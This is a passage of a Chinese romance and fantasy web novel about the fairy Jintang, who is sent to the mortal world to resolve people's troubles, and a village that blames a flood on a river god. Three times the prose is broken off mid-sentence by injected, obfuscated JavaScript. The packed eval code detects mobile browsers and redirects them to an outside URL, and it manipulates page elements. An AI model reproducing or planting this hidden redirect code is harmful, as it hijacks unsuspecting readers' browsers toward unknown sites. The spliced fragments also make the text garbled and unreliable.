《红尘解忧录》 1. 天界二三事(一) “锦棠!不好了锦棠!敦九伯伯杀过来了!”一个身着晴山蓝衣服的清秀少年急匆匆地跑了过来。 小姑娘嘴里哼着的轻快小调一停,“他过来就过来了呗,你这么冒冒失失的干什么。” 她躺在桃树上,眼睛都没睁开,左手枕在脑后,右手放在嘴前,慢悠悠打了个哈欠,“敦九也太小气了,不就是喝了他一壶酒嘛。要我说,这次的酒还不如上次那壶陈酿呢。” 锦棠生了花润初妍的样貌,今天一袭楝紫与藕荷粉相间的衣裳和桃花很是相配,美人加美景,本应是极好看的,只是她盘着腿的睡姿大大咧咧,用她爹娘的话来说,活像一只调皮的小猴子。 “锦棠!你这次捅了大娄子了!”泷宋满脸焦急,偏偏桃树长得高,他又对爬树一窍不通,没办法把这个大馋猫贪睡虫给揪下来。 “你知不知道……” “你知不知道那是我给天帝酿的酒!”敦九挺着大肚子气冲冲地跑了进来,把桃苑震得抖了三抖,摇落片片花瓣。 泷宋倒吸一口凉气,完了完了,要是锦棠被敦九伯伯抓到天帝面前,他都不敢想会发生什么! 锦棠仍旧闭着眼,挪了挪身子,调整了个更舒服的姿势,“管他什么天呀地呀的……” 话说到一半,锦棠猛然睁开了眼睛。 天帝! 天!帝! 天帝!!! 敦九喘着粗气:“棠丫头,你给、我下来!”他大手一挥,一个胖乎乎的酒坛便朝锦棠睡的那棵桃树干上撞了过去,正是原本要给天帝的那壶,现如今里面却一滴酒都没剩下。 泷宋迅速用双手盖住眼睛,锦棠,你自求多福吧。 锦棠呢,还沉浸在她不小心喝了天帝的酒的震惊中,对周围发生的事情全然不觉,桃树猛地一颤,她仿佛也成了桃花了,和大片大片的桃枝、桃瓣、桃叶一起从树上掉下来,不过,是朵会叫疼的桃花。 “哎呦,”锦棠站起身,揉着被摔疼的屁股,“敦九伯伯你力气也太大了,我的桃树都被你打坏了,我的屁股也可疼了。” 敦九冷哼一声:“现在知道疼了?之前偷酒的时候怎么想不到?!” “我那不是不知道是您给天帝酿的酒嘛。”锦棠心虚,对敦九的称呼都尊敬了不少。 “而且,那怎么能叫偷呢,我只不过是,稍微品鉴了那么一小点。”她用拇指和食指比了个很短的距离。 “锦棠——!”敦九的声音陡然拔高了好几个度,要把桃苑里的小桃树都震歪了。 泷宋伸出手紧紧捂住耳朵,利索地跑到了角落。 锦棠总说敦九伯伯像个胖酒墩,应该把他的名字反过来读,确实很贴切。再不躲,怕是要被敦九伯伯一起打。 看着朝自己径直冲过来的敦九,锦棠麻溜地迈开了脚步,嘿嘿,她就不信他能追上…… 追上……她。 锦棠唇边的笑容一僵,想往旁边跑,再次被三个不停转动着的酒坛子拦住了去路。 敦九没追上她,他的酒坛子追上了。 糟糕!之前她喝敦九的酒,他都只是象征性地追追她,时间一长,她都忘了他是个会法术的神仙了!她在天上待的年头短,平日最大的爱好又是喝酒和睡觉,学的那些雕虫小技根本不够破他的法术的! 锦棠拉了拉嘴角,“敦九伯伯,不带这么玩的!” “嘿,你这小丫头,不知道喝了我多少酒了,从前我不和你计较,这回可不行。”敦九慢步走到锦棠身边,伸出手,三个酒坛子便缩小成巴掌大飞进了他宽大的衣袖里。 锦棠耷拉下脑袋,她总算明白泷宋之前和她说的“常在河边走,哪有不湿鞋”是什么意思了,如果她知道那是天帝的酒,借她十个胆子她也不敢喝啊!可惜就算是在天界也没有后悔药,唉,不知道天帝要怎么惩罚她。 真是太不走运了,她发誓,她再也不……呃,不喝酒是不行的,下次她一定弄明白酒的来历再喝,呜呜,如果还有下次的话。 敦九与锦棠并排站着,在脚下召唤出一朵白色祥云,“站稳喽,棠丫头。” 祥云很快升高,载着两人往凌霄殿飞去。 泷宋急忙召唤出一朵小小的云,“哎!等等我呀!” 他和锦棠打小生活在一起,总归是担心这个姐姐的,但也正因如此,他虽不像她一般爱酒嗜睡,却也和她一样不怎么爱修习,连最基本的飞行法术都没能完全掌握,飞得东倒西歪,速度也比敦九慢了许多。 泷宋赶到南天门的时候,锦棠和敦九已经见到天帝了。 “敦九,你找朕有什么事?”身着金丝龙纹锦衣头戴夜明珠冠冕的天帝坐在数十级玉阶之上的宝座上,不怒自威。 他的声音带着极强的穿透力,锦棠的心跳止不住地加快,迅速偷看一眼后便一直低着头。 天帝倒是和爹爹一般英俊,希望他的心和他的相貌一样好,不要给她太重的处罚,拜托拜托。 锦棠默默祈祷,身旁的敦九绘声绘色地讲起了事情的经过,听着听着,她差点忍不住打断他,干嘛把她从树上掉下来这么丢脸的细节也说出来呀!这根本不是重点啊! 重点……呃,重点是她喝了天帝的酒,这可比丢人严重多了,如果可以的话,她愿意用从树上掉下来一百次来抵消惩罚。 敦九作了个揖,“锦棠还是孩子心性,希望陛下从轻惩处。” 天帝朗声大笑:“朕如果没记错的话,你可是后年的解忧仙官?” 敦九再次作揖,“是。” “既如此,你就和祈风换一换,过些日子下凡解忧去吧,”天帝说着将目光投向锦棠,“何以解忧?唯有杜康。小丫头,既然你这么喜欢酒,那你去人间陪敦九化解九桩愁心事,朕便不再追究此事,如何?” “啊?”锦棠简直不敢相信自己的耳朵,呆了一瞬后急忙点头,生怕天帝反悔似的。 “成交!”话刚出口,锦棠就觉得这个说辞不太妥当,匆匆添改一句:“一言为定!” 呃,好像也不是很合适的样子……锦棠现在有那么一点后悔没好好念功课了。 天帝脸上的笑意更盛,“朕送你几本法典,你可要加紧修炼,十天后就是你们下凡的日子了。” “好!谢陛下!”锦棠学着敦九的样子朝天帝作了个揖,原先担忧的心情一扫而空,甚至于喜出望外都不足以形容她现在的感受。 这哪里是惩罚,简直是奖赏呀!天界虽大,但她足足在这呆了好多个年头,平日又清闲,能逛的地方已经玩了个遍,人间却是个全新的世界,她听那些下过凡的仙子姐姐们讲,凡间有可多可好玩的事情呢! 而且天界每年派出的解忧仙官会帮人们解决困难,化解忧愁,这是多么好的事呀,娘亲和爹爹也不能再说她好吃懒做了。 想着想着,锦棠笑起来,脸上浮现出一对小小的酒涡,很是可爱。 天帝看着她,微微点头,这小姑娘,还挺招人喜欢。 …… 锦棠才把一只脚踏出殿外,焦急踱步的泷宋立刻飞奔过来,圆溜溜的大眼睛急切地望着她,“锦棠,怎么样?” 锦棠垂下肩膀,叹了口气道:“泷宋,我们今后不能一起玩了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“看!果然被我说中了!”对弟弟十分了解的锦棠很快猜中了他的想法,她清亮的眼瞳一转,计上心来。 锦棠从储物戒指里取出天帝送她的那几本秘籍,缓慢地在泷宋面前晃出一道优美的弧线。 “哎呀,这么好的秘籍,我一个人修炼真是可惜了。”见泷宋的视线被吸引过来,锦棠勾起唇角,“而且里面还有某人一直很想学的流云剑全解哦。” 锦棠特意把“流云剑”三个字加了重音,果然不出她所料,泷宋明显心动了,眼睛亮得跟碧灵湖的水似的。 小孩子就是好说话,锦棠想着,忍不住又生出了逗弄他的心思。 她右手作喇叭状,弯腰贴在泷宋耳边说:“还有某人学了两年都没学会的水灵术哦。” 泷宋的脸马上涨红了,倒不是因为锦棠笑他,而是因为她说得实在有点大声,殿门口的守卫们和路过的神仙全都听到啦! 泷宋恨不得用云朵把自己埋起来,不过,他现在最想干的不是这个。 “锦棠!!!”泷宋召唤出浅蓝色的祥云,朝锦棠杀了过去。 锦棠稳稳当当踩在她那朵淡粉色的飞行云彩上,转过头对他拉了下眼眶,“略略略,追不上我哦!” 泷宋又气又无奈,就欺负他飞得慢是吧?接下来他一定好好修习,看他怎么超过她! 敦九捋胡子笑着飞回自己的住处。 这两个小毛孩,真是可爱得紧哟。 2. 天界二三事(二) 翌日,桃苑。 敦九给他的酒坛子里灌了水,操控着法器给桃树浇水。 锦棠和泷宋也真是的,闭关修炼还真的找了擅长布结界的祈风给他们“关禁闭”了,不到规定时间不能出来。这倒苦了他哟,锦棠那个鬼灵精,不等他答应就把桃苑“托付”给他了,所幸他清闲,赏花喝酒倒也是美事一桩。 给最后一棵桃树浇完水,敦九有点困了,打算就靠在树干上小憩一会儿,没成想远远看到一道身影从门口走了进来。 啧,谁啊,打扰他睡觉。 等仔细一看,敦九的脸色好了不少,几分笑容已经压抑不住了。 来人身着月白云纹玉锦,身量颀长,墨发束冠,肤如皓月,眉眼修长疏朗,眸中光华宛如润玉上微微莹泽,又恰似松枝上一点新雪。 “敦九伯伯。”裴轼倾身作揖,声音清润,好似和风漾水,光抚青璃。 敦九笑眯眯地说:“是裴轼啊,来找锦棠的吧。” 裴轼这孩子相貌性格哪哪都好,也是他很喜欢的小辈。他们天界不像人间,比起尊卑更重长幼,所以尽管裴轼是天帝的孩子,也是他向自己行礼。 裴轼面带微笑,掌心向上,召唤出一只轻巧的小竹篮,“我想摘些花瓣做桃花酿。不过怎么没看到锦棠和泷宋?” 于是敦九把昨天发生的事给裴轼粗略讲了一遍。 裴轼有些惊讶,“锦棠和泷宋真的要闭关修炼十天吗?” “是啊,那结界除了祈风没人解得了,他们俩这回是认真了。”敦九打了个哈欠,“正好我还没来得及清扫花瓣呢,你随便拿,我先回家睡个午觉。” 他毕竟还是不好意思在其他人,特别是在一个如此有礼貌的小辈面前无所顾忌地在树下睡觉的,有损他的形象,咳咳。 裴轼同敦九道别,操纵着落英让其悬浮在空中,心不在焉地挑选没有瑕疵的花瓣,还没分好类,所有花瓣又纷纷扬扬落回小竹篮中。 他收回竹篮,径直前往凌霄殿。 有些事,趁早说比较好。 对于裴轼的突然到来,裴皓有些意外,“轼儿找我有什么事吗?” “我心悦桃苑的锦棠已久,听说她要去往人间,特来此请求父帝准许儿臣下凡。” 话说出口,裴轼才意识到自己的行为十分唐突,脸上浮现一层淡淡的红晕,宛如烟脂染白玉。 闻言裴皓马上露出笑容,他意味深长地看着裴轼肩上显眼的一瓣桃花,这小子,怕是刚从桃苑得知了锦棠的消息就赶过来了吧,连衣服都没整理,真是心急。 “好,那等到解忧仙官交接的日子,你就同敦九他们一道去吧。到时候你多留心各方水域,昨日沅淼受了伤,需要静养一段时日,可能会有妖怪趁机兴风作浪。” 沅淼,担任河神一职,他与之并不相熟,印象里是个勤恳为民的好官。 裴轼略微思索后道:“我今日就下凡吧,若真有妖作乱,为害百姓就不好了。” 裴皓颔首,“嗯,是我欠考虑了。” 语毕,他喊裴轼到跟前,摊开手掌,手心里躺着一件精巧的法器。 裴轼接过来,手中的物件构造简单,银白的流苏穿着一颗桃花大小的影青色玉珠,光泽柔和,质地细腻,仔细看去,珠面上银色的纹样划分出不同的区域,共八个,刻着篆字。 “每只传音玲珑最多能容纳八个人的灵力,对方将灵力注入传音玲珑后,想要传音时只需在相应区域用灵力驱动即可,在凡间记得多用它和我跟你母后联系。” “是。” 裴皓一向对这个儿子很放心,不再多叮嘱。 裴轼走后,裴皓迫不及待朝瑶池宫去了。 爱情使人改变呀,轼儿平时那么端庄的一个孩子今天这么着急,他得赶快把这个好消息分享给云儿。 …… “呼!终于出来了!”结界解除,冲出桃苑大门的锦棠心情十分爽快,这十日她可是有认真修习的,此次下凡一定能大展身手! 泷宋只得奋力挥臂,“锦棠你别跑那么快啊!” 敦九知道会是这样的情况,难得起了个大早接这两个小毛孩,“走吧,大家都在等我们了。” 还没到南天门,锦棠就看到两道熟悉的身影朝她走来。 “阿娘!阿爹!” “阿娘做了不同颜色的衣裳,你换着穿。” 苏堇说着从储物手环中取出给女儿做的衣服,锦棠被眼前巨大的包袱惊得张大了嘴巴。 这、这也太多了吧! 苏堇摸摸她的头,“咱们锦棠就是要漂漂亮亮的。” 锦棠把大包袱收进储物戒指,“谢谢阿娘!” “咳咳,”许归河用清嗓子的声音把锦棠的注意力吸引到他这边,“爹爹也给你准备了礼物。” 他说罢递给锦棠一条手链,圆环形制,质地清透,很是水润,颜色是小姑娘最喜欢的桃粉。 诶?怎么感觉手链里有东西在动?锦棠眨了眨眼,有点怀疑自己看错了。 正疑惑着,许归河的声音传来:“这是用灵髓晶制的,灵髓晶吸收日月灵气并将其封蕴下来,佩戴它可以加快灵力恢复速度。” 苏堇柔声道:“戴上试试。” 锦棠把它套到左腕上,雀跃道:“正合适!” 听到这话,许归河不自觉摸了下鼻子,说来有点对不起锦棠,他本想做灵髓晶镯,但下意识用了小堇的尺寸,灵髓晶长得慢,数十年才能收获一次,如今不是收获的年份,他又只余下一块粉灵髓晶,只好打成珠子做了条手链。 许归河转移话题:“爹爹还给你准备了一只传音玲珑,可以让你在人间也与我们互通音讯。” 锦棠立刻来了兴趣,水亮的眼瞳睁得大大的,“快教我怎么用!” …… 还剩少许时间,锦棠去与小姐妹们告别。 “锦棠!”性格最跳脱的夕桐蹦过来用手勾住她的肩,“快过来!” 十几个仙子把锦棠围在中间,夕桐拿出一张纸,上面各异的字迹看得锦棠有点不明所以。 夕桐书生 颜玉断袖 木翘狐妖 连绮女驸马 书菁人鬼 这、这都是什么跟什么啊! 夕桐把这张纸塞到锦棠手里,合拢她的手指,语气极为真挚:“上面是我们想看的话本子类型,这一重任就托付给你了!” 说着她又郑重地拍了拍锦棠的肩。 锦棠满脸不可置信,“你……你们……” “哎呀,谁叫天上什么都有,就是没有话本子嘛。”夕桐摇着锦棠的手,“好锦棠,你最好了。” 其他人也纷纷展开攻势。 锦棠架不住这么多可爱的姐姐妹妹朝自己撒娇,把采购单收好,“好啦好啦,保证完成任务。” 夕桐开心地在锦棠的脸颊上亲了一下,然后拿出一只带珠玉流苏的桃花簪子。 “噔噔噔噔!天上人间独我夕桐一份的手艺,收好!” 锦棠惊喜不已:“夕桐,你的手也太巧了,上面的桃花简直跟真的一样!” “那是!” “锦棠,这是我给你做的各种糕点,凡间没有的风味哦。” 锦棠马上又被这道温柔的声音吸引,这一看不得了,只见颜玉右手托着一只有半个她那么大的糕点盒,正朝自己弯唇笑着。 颜玉姐姐真好看啊,哦不,她力气真大啊。 看着颜玉轻松伸过来的手,锦棠从欣赏美人的花痴状态中清醒过来,“颜玉姐姐,你把它放下来吧,我应该拿不动。” “不好意思,忘了我力气比较大了。”颜玉放下糕点盒,传来沉闷的一声响。 “颜玉姐姐的厨艺最好,多谢姐姐了。” 她还是没能适应颜玉姐姐的反差感,一个看起来弱柳扶风的仙子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242834|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟然能不靠灵力用单手把沉甸甸的炼丹炉举起来。 “锦棠,看我给你准备的!” “还有我!” “哎呀先看我的!” “……” 锦棠几乎收不过来,储物戒指里的空间被温暖填得满满当当。 她们你一言我一语地聊着天,突然被一个稚嫩的声音打断:“锦棠,敦九伯伯说让我们过去。” “我知道了,”锦棠看着两米外的泷宋,“下次记得比现在的距离再远一点哦。” 泷宋乖巧点头。 锦棠表面波澜不惊,心下却暗暗松了一口气,之前有次她和夕桐在聊话本子,泷宋直接跑到她们旁边,真是太可怕了,所以她给泷宋提了要求,在她和小姐妹们在一起时不要离她们太近。 锦棠和姐妹们告别,末了,夕桐低声调侃她:“听说人间有可多好看的郎君呢,锦棠,你可要好好把握。” 锦棠的脸又红了起来,“你别胡说。” 思绪被夕桐的话牵引,脑海中浮现出一张朗月松山的脸——她已经有喜欢的人了,也是个神仙。 锦棠抬头张望,不过今天没看见他。 他知道她要走了吗? 没见到也好,不然她也不知道要说什么。 锦棠用笑容掩饰内心的失落,“我先过去了,我会想你们的。” 来到敦九旁边,掌管下凡通道的仙官施展法术,念诵咒语,一个环绕三人的金色光圈便出现了。 锦棠再次和所有人道别,等待法术生效的过程中忽被一只蝴蝶吸引,泷宋也发现了这个可爱的小生命,“哇!是蝴蝶!” 淡黄色的小蝴蝶翩然跃动,最后停在了锦棠裙摆上。 它是把裙子上的绣花当成真的花了么? 锦棠还来不及做出回应,周围的环境在瞬间改变,一座典雅大气的府邸映入眼帘,大门上雕刻着精美的花纹,匾额上赫然写着“仙官府”三个大字,周遭绿意盎然,极富生气。 敦九抬手一挥,大门向两边打开,笑着捋了捋胡子,“咱们进去吧。” 锦棠初来乍到,对这座大房子充满了新鲜感,东看看西走走,泷宋在后头,像她的小跟班。 等两个小孩逛得差不多了,敦九咳嗽两声吸引他们的注意力到自己身上,“接下来由我介绍一下解忧仙官的职责,你们两个作为仙官助手,要认真听,这是我们解忧所需要的最重要的东西之一,它叫'莲意提灯'。” 姐弟俩乖巧点头,看向敦九手示意的地方,一只大约半人高的精巧莲花展台立在桌上,褐色的枝条缠绕围成环形,正下方是一朵盛开的巨大莲花,花瓣层层叠叠,散发着柔和而温暖的光芒,旁边的花苞和花骨朵轻轻摇曳着,逸出怡人的清香。 敦九继续说道:“为了方便工作,解忧仙官每年会按人口定期发放一定数量的'解忧符纸'到各个区域,人们若是遇到困难,把要解决的事情写在纸上,解忧符纸便会浮现在莲花提灯中央,我们取下纸条后,其上便会出现一个小罗盘,为我们指引方向。” 耳朵突然被灌入陌生的知识,锦棠和泷宋这两个学习能力不强的仙官助手显然还是一知半解,敦九考虑到这一点,笑得慈爱:“不急不急,我们慢慢来。” “诶?敦九伯伯,这是您刚刚说的什么纸条吗?”泷宋微微瞪大眼睛,刚才还空着的莲花提灯中间,赫然有一张字条,上面写着端正的大字——“河神连日降雨害农事,强抢民男,欲在一天后淹了村子,求仙官救急”。 敦九上前把字条拿下来,又惊又疑,惊的是他们刚落脚,就有解忧符纸传过来;疑的是他认识的河神行事与这符纸上的不匹配。 解忧符纸对凡人来说异常宝贵,他们没必要骗仙官,情况紧急,还是过去一探究竟。 “事不宜迟,我们现在就出发吧。”说罢,敦九唤出祥云,捎上两个小孩,循着解忧符纸上罗盘的指引,一路往东南去。 3. 稻谷酒(一) 六天前的何家村。 穿着蓑衣的何荟站起身擦了擦脸上的汗,望着涨水的稻田叹了口气。 昨日下了一整天的雨,现在水已经漫至她的脚踝,要是稻苗还不打紧,可现在稻子快要结穗,淹水时间再长些就要坏事,可看这压沉沉的乌云,没有半点要出太阳的意思。 何荟调整了下斗笠的绑带,继续按照何成业的嘱咐给高处的稻田排水,她爹腿脚不好,她怕雨天路滑不安全,费了好一番嘴皮子才让他待在家里。 何荟正拔着杂草,一道粗糙又沙哑的声音从她右边传来,“何荟,我来帮你。” 她头都没抬,“不用。” “哎呀,你跟我客气什么,我帮你是应该的嘛。”一个人蹲下来往她这边挨。 何荟翻了个白眼,没好气地问了一句:“你不管你家的田了?” 见何荟看他了,何继金挤眉弄眼,“那边有我妈呢,你家的田大,你一个人应付不过来。” 何荟朝右后方看去,一个颧骨突出,腮帮下陷的女人朝她笑着,正是何继金的娘,王青芬。 何荟没有什么想回应的,她对这对母子深感无语和无力。 她娘在她生下来不久后就去世了,而王青芬在年轻时就守了寡,何荟记得三四岁时王青芬有意想嫁给她爹,她当时年纪小,看别人都有娘,所以吵着闹着要王青芬给自己当后娘,后来想想得亏她爹当时没同意,不然她得难受死。 许是看嫁给村长无望,王青芬又撺掇上自己的儿子,从去年开始,何继金处处向她献殷勤,把她整得挺烦的。 其实何继金长得也不丑,可他做事老是畏畏缩缩,不论小事大事,都是他妈做主授意,说话也不在点子上,十句有九句都是她不喜欢听的,她没看出来他多喜欢她,他对她不像是喜欢,倒像是讨好。 总之,何荟对这母子俩没有一丁点好感。 阴雨下烦躁的情绪不断叠加,她重重地拔出一株杂草,“何继金,我和你说过很多遍了,我喜欢李川生,你能不能不要再缠着我了?” 何继金像块甩不掉的狗皮膏药:“李川生到底有什么好的?不就比我壮实点吗……” 何荟彻底失去了耐心,将草一甩,直直站起身,也不管之前答应她爹会把水排好的事了,准备离开这个烦人的地方。 人不避她,她避别人总行了吧! “诶!何荟!”何继金起身伸出手想要挽留,可何荟头也不回地走了,只留下一个背影。 他耸了耸肩,“不至于吧……” 走到儿子旁边的王青芬皱起眉,撇了撇嘴:“疯了吧。” …… 何荟走到家门口,刚巧碰上了从外面走回来的何成业。 两人进屋后,何荟走上前:“爹?不是让你好好待在家里吗?” 何成业明显有点心虚,略低着头躲避何荟质问的目光,“我就在附近转了转。” 何荟深深吸了一口气,告诉自己要冷静,但尽管如此,她话语里还是带上了责备的意味:“爹,你怎么这么不让人省心呢?要是你出了什么事,就剩我一个人了……” 何荟说着,鼻间忽地酸涩,有想哭的冲动,她爹一个人把她拉扯长大,其中艰难不必多说,爹是她在世上最亲最亲的人了。 “好了好了,我以后都听话,乖囡囡不哭不哭。”何成业拥抱女儿,轻轻拍着她的背,用最温柔的语气,像小时候那样哄她。 何荟更想哭了,泪水抑制不住地从眼眶滑落,顺带向父亲倾诉何继金的事。 何荟一开始带着哭腔,说话很不流畅,何成业时不时搭几句话,到后面她越说越来气,也不哭了,就差掰着手指把何继金和王青芬那些离谱事一股脑全说个遍了。 “他简直是脑子有病!”何荟喘着气结束了吐槽。 何成业犹豫道:“他们做事确实不妥当,但好歹在一个村子里,抬头不见低头见的,把关系弄僵了也不好呢。” “那你说怎么办?”何荟重重地放下肩膀,她原是想让爹给撑腰的,可奈何她爹是村长,要考虑更多的事情。 何成业思考了一会儿,面带笑容说:“这样吧,不如你和川生早点成亲,何继金自然也就死了心。” “啊?”在爹口中听到李川生的名字,何荟的脸马上红了起来,很快耳廓也染上了胭脂色。 “川生这孩子也算是我看着长大的,为人信得过,你们又互相爱恋,成亲是早晚的事嘛。”何成业越想越觉得自己的建议十分正确,连连点头。 何成业激动地把椅子往前挪了挪,问女儿:“嗯?你觉得怎么样?” 何荟咬着下唇,目光游离,满脑子都是李川生的身影,压根没听清她爹在说什么。 “阿荟?阿荟?”何成业伸出手在女儿面前挥了挥。 “啊?哦!”何荟低头揉搓着自己的手指,声音轻下来:“我还没问过他的想法呢……” 何成业看女儿这样子就知道有戏,笑吟吟地说:“得,那我明天找兴旺好好聊聊。” 何荟没有作声,算是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16242835|181941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默许了。 翌日早,何荟吃完早饭就穿戴好雨具准备去山上把昨天落下的活干完,何况过会李川生的爹娘要到家里来,她总归还是有点不好意思的。 何荟嘴角挂着淡淡的笑,心情愉悦,她哼着小调,走路的步子也跟着欢快了许多,感觉接下来干活都更有劲了。 何荟刚蹲下,就又听到了她最不想听到的声音:“何荟,你今天这么早!” 何继金,啊啊啊啊啊啊啊啊!她觉得自己的好心情没了一半。 何荟决定不理他,这人无论你说什么话,他都能接上下一句,没完没了的,和他讲话真是多费口舌,还容易把自己气死。 何继金还以为是何荟没听到,走近了些,“何荟,好巧呀。” 何荟暗暗翻了个白眼,巧什么巧,他们两家的田挨在一起,想不碰面都难。 何荟继续保持沉默,可何继金压根不会看脸色,继续靠近,“何荟,我来帮你干活。” 何荟终究还是没忍住,一边说“不用”一边往旁边退,没成想踩到了被草掩盖住的凹陷处,脚底打滑,眼看就要滑倒,何继金想拉住她,没想到有人快他一步。 何荟瞪大双眼,张大嘴巴,来不及发出惊呼,察觉到自己的上半身被有力的臂弯支撑住,脸颊慢慢烧起来。 近在咫尺的男子脸庞刚毅,剑眉星目,正是她的心上人。 李川生声音里带着担忧:“阿荟,你没事吧?” 何荟心跳止不住地加快,她还没有和李川生离得这么近过…… 何继金目瞪口呆,李川生从哪里窜出来的?看着两人眼里都只有对方的样子,他只好悻悻走开了,不过回去说起这件事,定少不了他妈的一顿说教。 何继金叹着气到远离两人的地方开始干活,另一边的何荟脑袋空白了半晌才想起来回话:“没……没事。” “那就好。”李川生放下心来,动作轻缓地将何荟扶起来,摊开左手掌心,一只木雕小兔子冒了出来,它眯眼趴着,长耳朵乖乖地竖着,十分可爱。 李川生跟他爹李兴旺学了一手木匠的好手艺,无论大物件还是小玩意都做得好。 他眼含期待,“阿荟,这是我昨天刚刻好的,你喜欢吗?” 何荟的心都被萌化了,而且她刚好属兔,她喜欢这份礼物,更喜欢送礼物的人。 何荟笑起来,露出整齐洁白的牙齿:“我很喜欢!” 农家儿女的感情热烈而直白,李川生与何荟对望着,心心相印,空气都沾上了甜。 4. 稻谷酒(二) “阿荟……”李川生双手捧住她的脸,闭上眼慢慢低头靠近,温热的气息倾洒,带来丝丝痒意。 何荟也害羞地闭上了眼,静静等待着这个吻的降临。 何升泰以手撑桌站起身,不住地摇头,“我们何家村从来没有过这样的情况,怕是河神发怒了!” 何荟被这道惶恐的响声惊醒,猛地从床上坐起来,下意识皱起了眉,忽而想起刚刚的梦,两颊不禁飞上红霞,不自然地咬了下唇,“羞死了……” 何荟把门打开一道缝,看到她爹和何升泰坐在桌子两边,联系到刚刚何升泰的话,心中大概猜到了他们在谈什么。 这几日的雨一刻都没有停歇,实在太过古怪,但是无缘无故的,河神为什么要找他们麻烦? 何荟微微皱眉,正好听到何成业的反驳:“我们何家村向来安分守己,每年的供奉也不曾少,好端端的河神怎么会发怒?” 话音落下,他意识到自己语气有点激动,歉然低头,何升泰摆摆手表示谅解,水淹稻田对于农人来说太过可怕,何成业又是村长,责任大担子重,比谁都着急。 何升泰稳了稳颤抖的身子,安慰道:“排水还是要继续,这雨下得太过离奇,我们再等几天看看事情如何。” 何升泰是上一任村长,年纪高,又见多识广,经验丰富,很多大事何成业都会与他一起商量。 何成业眉宇间愁云厚重,用力地点了一下头,看向窗外叹了口气,他从未有哪一刻像现在这么希望雨马上停下。 何升泰也叹了口气:“成业,那今天我就先回去了。” 何成业站起身送他,两人到门口时,雨势骤然变大,牛毛般的雨丝顷刻间变成黄豆大的雨点,一颗一颗重重地砸在稻子上,也沉沉地砸在他们心里。 何升泰嘴唇发颤:“这……难道是河神听到了我们的谈话……” 何成业说不出话来,脸色愈发沉下去,这也太巧了,难不成何家村真的有什么做得不对的地方,河神要惩罚他们? “河神……河神……我们要怎么做……”何升泰喃喃道,突然灵机一动,声量不自觉放大:“河神娶亲!” 话音落下的刹那,雨瞬间停了,像是做法一般。 “看来老头子我猜对了!”何升泰欣喜一瞬,马上变得忧心忡忡:“可有哪家的女子愿意去呢?” 何荟被异动吸引到门口,“爹,这是怎么回事?” 何成业转过身与女儿对视一眼,忽然像失去了全身的力气,马上要瘫软倒下去,何荟眼疾手快地扶住他,“爹?!” “荟儿……”何成业看着焦急不安满脸担忧的何荟,有些欲言又止。 雨势又渐渐变大,一道闪电划过天空,照亮了何成业有些惨白的脸。 …… 屋内。 何荟满眼不敢置信,脸气得通红,委屈得快要掉眼泪,大声愤怒道:“爹!我到底是不是你的女儿?!你竟然想让我去嫁给河神?!” 何成业眼神躲闪地撇过头,沉默一息,忽然发了疯似的开始大力扇自己巴掌,“是爹没用……是爹没用……” “爹!你干什么?!”何荟已经满脸是泪,伸手阻止何成业,才发现他也哭了。 孩子是父母手心的宝贝,又有谁家愿意让女儿去做河神的新娘?活生生的一个小姑娘,唉…… 何成业轻轻推开何荟,抹了抹泪,“我去求求河神,看看有没有其他法子。” 何荟气消了大半,忧愁皱眉道:“可是我们也不知道河神在哪啊……” 何成业拍了拍她的肩,“放心,有爹在呢。” 何荟鼻子一酸,想起小时候被村子里其他小朋友欺负说她是没娘的孩子,受了委屈,何成业都会站出来为她撑腰,说“有爹在呢”。 “爹……”热泪又不可控制地从眼里涌出来,何荟倾身紧紧抱住了他。 父女俩的温情时光突然被敲门声打断,接着一道男人的声音响起:“村长在吗?” 何成业起身去开门,何荟赶忙擦了擦脸。 “福贵?你怎么来了?有什么事先进来说吧,外面雨大。”何成业侧身让开道。 何福贵略带歉意:“不了成业,我这滴滴答答的进去把地弄湿了也不好,我过来就是和你知会一声,我娘子说这几天的雨太邪乎了,想先回娘家待几天,正好她娘家也离得近。” 何成业愣了下才反应过来何福贵的意思,失落地垂下眼,僵硬地点点头,“好。” 送走何福贵,何荟忍不住讽了句:“他们倒是早早安排好了后事。” 何成业轻轻拍拍她的手,“阿荟,别这么说。” 何荟冷哼一声,她爹为这个村子操劳了大半辈子,有福时大家同享,来难了有些人就马上拍拍屁股与他们断了联系。 何成业愁眉不展,几天内,鬓边的白发又生了很多。 …… 另一边,何升泰来到李家,将河神的事情说了,好脾气的李川生头一次和他爹吵得面红耳赤,“不行!不能让阿荟去!大不了你也像李福贵他们一样搬出去呗!” “村长有大义,川生,你也莫要小家子气。”李兴旺面容严肃,可仔细看,他眉目间也全是不忍与担忧。 李川生气红了眼,“不行!就算我与河神拼命,也绝不会让阿荟白白送死!” 他与阿荟马上要成亲了,眼下却出了这档子事,叫他如何冷静? 李川生说着就要起身抄起锄头,被李兴旺和何升泰堪堪拉住。 